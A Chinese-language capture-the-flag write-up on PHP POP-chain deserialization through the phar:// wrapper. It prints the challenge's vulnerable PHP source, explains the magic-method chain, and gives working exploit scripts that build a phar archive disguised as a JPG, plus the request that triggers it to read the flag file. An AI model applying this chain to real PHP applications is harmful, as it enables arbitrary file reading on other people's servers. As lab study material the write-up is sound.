pop链以及phar协议

打开页面，发现是一个查看文件和上传文件的页面，开始以为是文件上传漏洞，发现有后缀名好像有过滤，所以我们再观察查看文件页面，发现一个可疑点

file.php?file=

可以推测可能是文件包含，所以构造

file.php?file=file.php

读取file.php文件

<?php 
header("content-type:text/html;charset=utf-8");  
include 'function.php'; 
include 'class.php'; 
ini_set('open_basedir','/var/www/html/'); 
$file = $_GET["file"] ? $_GET['file'] : ""; 
if(empty($file)) { 
    echo "<h2>There is no file to show!<h2/>"; 
} 
$show = new Show(); 
if(file_exists($file)) { 
    $show->source = $file; 
    $show->_show(); 
} else if (!empty($file)){ 
    die('file doesn\'t exists.'); 
} 
?> 

源码中有两个文件，分别是class.php和function.php文件，所以我们通过构造

file.php?file=class.php               //读取class.php文件

file.php?file=function.php          //读取function.php文件

function.php

<?php 
//show_source(__FILE__); 
include "base.php"; 
header("Content-type: text/html;charset=utf-8"); 
error_reporting(0); 
function upload_file_do() { 
    global $_FILES; 
    $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"; 
    //mkdir("upload",0777); 
    if(file_exists("upload/" . $filename)) { 
        unlink($filename); 
    } 
    move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename); 
    echo '<script type="text/javascript">alert("上传成功!");</script>'; 
} 
function upload_file() { 
    global $_FILES; 
    if(upload_file_check()) { 
        upload_file_do(); 
    } 
} 
function upload_file_check() { 
    global $_FILES; 
    $allowed_types = array("gif","jpeg","jpg","png"); 
    $temp = explode(".",$_FILES["file"]["name"]); 
    $extension = end($temp); 
    if(empty($extension)) { 
        //echo "<h4>请选择上传的文件:" . "<h4/>"; 
    } 
    else{ 
        if(in_array($extension,$allowed_types)) { 
            return true; 
        } 
        else { 
            echo '<script type="text/javascript">alert("Invalid file!");</script>'; 
            return false; 
        } 
    } 
} 
?> 

从源码中可知

$allowed_types = array("gif","jpeg","jpg","png");

上传文件后缀必须是以上几个

if(file_exists("upload/" . $filename)) { 
       unlink($filename); 
   } 

上传文件可以在

/upload

目录下看到

class.php

 <?php
class C1e4r
{
    public $test;
    public $str;
    public function __construct($name)
    {
        $this->str = $name;
    }
    public function __destruct()
    {
        $this->test = $this->str;
        echo $this->test;
    }
}

class Show
{
    public $source;
    public $str;
    public function __construct($file)
    {
        $this->source = $file;   //$this->source = phar://phar.jpg
        echo $this->source;
    }
    public function __toString()
    {
        $content = $this->str['str']->source;
        return $content;
    }
    public function __set($key,$value)
    {
        $this->$key = $value;
    }
    public function _show()
    {
        if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
            die('hacker!');
        } else {
            highlight_file($this->source);
        }
        
    }
    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}
class Test
{
    public $file;
    public $params;
    public function __construct()
    {
        $this->params = array();
    }
    public function __get($key)
    {
        return $this->get($key);
    }
    public function get($key)
    {
        if(isset($this->params[$key])) {
            $value = $this->params[$key];
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);
    }
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}
?> 

通过观察源码，我们可以知道可以通过file_get_contents()函数来读取文件的内容，其中class.php中涉及几个魔术方法

__get()魔术方法：从不可访问的属性读取数据会触发
__toString()魔术方法：在类的对象被当作字符串操作时，自动被调用
__set()魔术方法：从不可访问的属性写入数据会触发

pop链的思路

1. 要调用file_get()方法要调用get()方法
2. 要调用get()方法要调用魔术方法__get()
3. 要调用魔术方法__get()，要将Show类中的魔术方法__toString()中的$this->str['str']为Test类，从而$this->str['str']->source为从不可访问的属性读取数据
4. 要调用魔术方法__toString()，要将魔术方法__destruct()中的$this->str为Show类，因为$this->test=$this->str，且echo $this->test

所以可以写exp

<?php

class Cle4r
{
	public $str;
	public $test;
}

class Show{
	public $str;
	public $source;
}

class Test{
	public $params;
	public $file;
}

$a=new Cle4r();
$b=new Show();
$c=new Test();
$a->str=$b;
$b->str['str']=$c;
$c->params['source']="/var/www/html/flag.php";

echo serialize($a);
?>

但是要打包成phar文件，所以exp

<?php
class C1e4r
{
    public $test;
    public $str;
}

class Show
{
    public $source;
    public $str;
}
class Test
{
    public $file;
    public $params;

}

$c1e4r = new C1e4r();
$show = new Show();
$test = new Test();
$test->params['source'] = "/var/www/html/f1ag.php";
$c1e4r->str = $show;   //利用  $this->test = $this->str; echo $this->test;
$show->str['str'] = $test;  //利用 $this->str['str']->source;


$phar = new Phar("exp.phar"); //.phar文件
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ? >'); //固定的
$phar->setMetadata($c1e4r); //触发的头是C1e4r类，所以传入C1e4r对象
$phar->addFromString("exp.txt", "test"); //随便写点什么生成个签名
$phar->stopBuffering();

?>

然后用php运行得到exp.phar文件，然后抓包，并将文件后缀改为jpg，然后上传，然后在

/upload

可以看见上传文件，然后由于file.php文件中

if(file_exists($file)) { 
    $show->source = $file; 
    $show->_show(); 
} else if (!empty($file))

和class.php文件中的

public function _show()
  {
      if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
          die('hacker!');
      } else {
          highlight_file($this->source);
      }

可知文件内容可以使用highlight_file()函数显示，所以我们可以构造

file.php?file=phar://upload/b78e1e4af578d40825462627147a5573.jpg	

来触发phar文件，进行反序列化，读取flag，但是最后结果需要经过base64解密